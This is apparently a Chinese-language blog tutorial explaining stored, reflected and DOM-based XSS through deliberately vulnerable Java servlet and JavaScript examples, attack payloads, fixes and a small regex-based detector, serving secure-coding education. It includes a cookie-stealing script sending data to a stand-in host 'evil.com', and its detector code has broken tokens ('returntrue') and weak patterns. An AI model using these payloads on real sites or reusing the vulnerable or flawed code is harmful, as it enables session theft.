一篇吃透跨站脚本攻击（XSS）全攻略（含 Java 实例、漏洞剖析与修复方案）

程序员橘子

1100人浏览 · 2025-12-24 14:33:37

程序员橘子 · 2025-12-24 14:33:37 发布

在当今互联网高度发达的时代，Web应用已成为人们日常生活和企业运营中不可或缺的一部分。然而，随着功能的日益丰富，Web安全问题也愈发严峻。其中，跨站脚本攻击（XSS, Cross-Site Scripting）是最常见、危害性极高的前端安全漏洞之一。

什么是 XSS？

跨站脚本攻击（Cross-Site Scripting，简称 XSS），指的是攻击者将恶意 JavaScript 脚本注入网页，当用户浏览时，在用户浏览器中执行，达到窃取数据、劫持操作、破坏界面的目的。

用户以为访问的是网站，实际上执行的是黑客的脚本。

XSS 类型详解

存储型 XSS（Stored XSS）

攻击者将恶意脚本提交到服务器（比如评论区、帖子等），服务器存储后，每次有人访问时，恶意代码都会被执行。

Java 漏洞示例（Servlet版）

java
@WebServlet("/comment")
public class CommentServlet extends HttpServlet {
    private static List<String> comments = new ArrayList<>();

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String comment = request.getParameter("comment");
        comments.add(comment); 
        response.sendRedirect("/view-comments");
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        for (String comment : comments) {
            out.println("<p>" + comment + "</p>"); 
        }
    }
}

攻击示例

攻击者提交：

html
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

浏览器访问评论区时，自动执行脚本，窃取 Cookie。

漏洞分析

输入未过滤
输出未编码
直接拼接到 HTML 中

修复示例

java
import org.owasp.encoder.Encode;
for (String comment : comments) {
    out.println("<p>" + Encode.forHtml(comment) + "</p>");
}

使用输出编码，确保 <、> 等字符不会被解释为 HTML 标签。

反射型 XSS（Reflected XSS）

攻击者通过 URL 参数传递恶意脚本，服务器直接将参数返回到页面，导致脚本执行。

Java 漏洞示例

java
@WebServlet("/search")
public class SearchServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String keyword = request.getParameter("q");
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        out.println("<h2>Search Results for: " + keyword + "</h2>");
    }
}

攻击示例

访问：

http://example.com/search?q=<script>alert('XSS')</script>

网页内容直接变成：

html
<h2>Search Results for: <script>alert('XSS')</script></h2>

浏览器执行脚本。

漏洞分析

参数未验证
输出未转义
动态拼接 HTML 内容

修复示例

java
import org.owasp.encoder.Encode;
out.println("<h2>Search Results for: " + Encode.forHtml(keyword) + "</h2>");

或者在前端用安全标签，比如 JSP 的 <c:out> 自动转义输出。

DOM型XSS(DOM-based XSS)

不经过后端，DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞，DOM-XSS是通过url传入参数去控制触发的，其实也属于反射型XSS。

攻击流程

攻击者构造带恶意数据的链接
前端 JavaScript 解析 URL 参数
恶意脚本被注入到页面中

JavaScript 漏洞示例

html
<div id="msg"></div>

<script>
    var params = new URLSearchParams(window.location.search);
    var username = params.get('user');
    document.getElementById('msg').innerHTML = "Welcome, " + username;
</script>

攻击示例

链接：

php-template
http://example.com/page.html?user=<img src=x onerror=alert('XSS')>

页面执行：

html
Welcome, <img src=x onerror=alert('XSS')>

弹窗提示，证明脚本注入成功。

漏洞分析

使用 innerHTML
无输入校验
浏览器直接解析成 DOM 节点

修复示例

javascript
document.getElementById('msg').textContent = "Welcome, " + username;

使用 textContent 防止 HTML 解析，从根源杜绝 DOM型 XSS。

通用防御方法总结

防御措施	说明
输出编码	输出到 HTML 页面时，对内容进行 HTML Encode
输入校验	检查并限制用户输入类型和长度
前端安全 API	使用 textContent、setAttribute 等安全方法
安全库支持	使用 OWASP Java Encoder、Spring Security
CSP安全策略	配置 Content-Security-Policy，限制脚本来源

小彩蛋

用 Java 写一个简单的 XSS 检测器！为了更好理解 XSS 注入原理，我们可以写一个简单的 XSS 检测小工具，快速扫描可疑输入！

简单版 Java XSS 检测器

java
import java.util.regex.Pattern;

public class XssDetector {
    private static final Pattern[] patterns = new Pattern[]{
        Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE),
        Pattern.compile("src[\r\n]*=[\r\n]*\\'(.*?)\\'", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL),
        Pattern.compile("</script>", Pattern.CASE_INSENSITIVE),
        Pattern.compile("<script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL),
        Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL)
    };

    public static boolean isXssAttack(String input) {
        if (input != null) {
            for (Pattern pattern : patterns) {
                if (pattern.matcher(input).find()) {
                    returntrue;
                }
            }
        }
        returnfalse;
    }

    public static void main(String[] args) {
        String suspiciousInput = "<script>alert('XSS')</script>";
        if (isXssAttack(suspiciousInput)) {
            System.out.println("⚠️ 检测到潜在的XSS攻击！");
        } else {
            System.out.println("✅ 输入安全。");
        }
    }
}